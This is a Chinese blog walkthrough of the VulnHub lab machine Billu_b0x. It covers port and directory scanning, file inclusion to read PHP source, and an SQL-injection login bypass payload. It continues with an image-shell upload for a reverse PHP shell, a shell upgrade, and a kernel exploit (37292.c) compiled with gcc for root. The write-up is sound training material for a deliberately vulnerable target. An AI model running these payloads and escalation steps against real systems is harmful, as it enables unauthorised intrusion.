打靶 - VulnHub - Billu_b0x

前言

打算把自己打过的靶的记录更新到博客中,主要更新一些常见的渗透思路和有意义的靶机(那些专门为打靶而设计还考考CTF的啥的就没必要看了)一是为了方便师傅跟着我打靶的顺序来直接打,二就是记录一下自己打靶的经历吧

信息收集

192.168.223.137

端口扫描

image

1
nmap -sV 192.168.223.137 -sC -p 22,80,25,110

查看80端口

image

明显注入吧 ,抓个包丢sqlmap中跑但是发现跑不出什么?仔细看一下

先扫了一下目录

image

有个文件上传

image

有个phpinfo

image

有个phpmyadmin

image

有个test

image

文件包含

emm比较多 先看文件上传吧看能不能直接getshell

确实能任意文件上传,但是不知道返回的路径啊 ?奇怪了,再试试弱口令进一下phpmyadmin也无果

但是在尝试test的时候发现存在了一个文件包含

image

emm 尝试包含当前目录的一些文件比如index.php upload.php

访问后确实找到了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
session_start();

include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
$_SESSION['logged']='';

}

if($_SESSION['logged']==true && $_SESSION['admin']!='')
{

echo "you are logged in :)";
header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--<span style="font-weight: bold;" class="mark">[[ billu b0x ]]</span>--</font>
<br><br>
Show me your SQLI skills <br>
<form method=post>
Username :- <Input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {

$row = mysqli_fetch_assoc($result);
echo "You are allowed<br>";
$_SESSION['logged']=true;
$_SESSION['admin']=$row['username'];

header('Location: panel.php', true, 302);

}
else
{
echo "<script>alert('Try again');</script>";
}

}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";

?>

很明显是一个将单引号替换为空的操作但是这里的写法是pass在前面uname在后面,所以可以构造payload通过

反引号转义单引号和万能密码即可成功登录

payload是

un=or 1=1 #&ps=asd\

image

这里发现存在上传

image

但猜测这里是include了我刚才扫到的add.php

那其实很容易想到如果我在这上传图片马然后用上面的test去包含一下不就getshell了吗?

image

但是包含不解析啊

image

看wp发现在另一个php文件当中存在文件包含(人麻了咋这么乱这个靶场那就是这个phpmyadmin跟什么)

在这里进行文件包含

image

Getshell

然后生成了msf的反弹php的马,然后上传图片马然后在这里进行远程文件包含成功上马子(喵的 一定要用kali里头的反弹php马才行 msf的会断的 真服了)

image

先升级一下shell

1
python -c "import pty;pty.spawn('/bin/bash');"

提权

查看内核

image

找exp

1
searchsploit linux 3.13.0

image

查看靶机是否存在gcc

image

发现存在那么通过上传c文件进行gcc编译后提权

1
2
3
/usr/share/exploitdb/exploits/linux/local/37292.c
gcc exp.c -o exp
./exp

image

打靶结束

总结

目录扫描是突破口,然后文件包含读源码审计sql进后台上传再包含反弹php马上shell后内核提权,比较简单,但是靶场做的真的乱


打靶 - VulnHub - Billu_b0x
https://zjackky.github.io/post/target-vulnhub-billub0x-z1w3oo4.html
作者
Zjacky
发布于
2023年10月26日
许可协议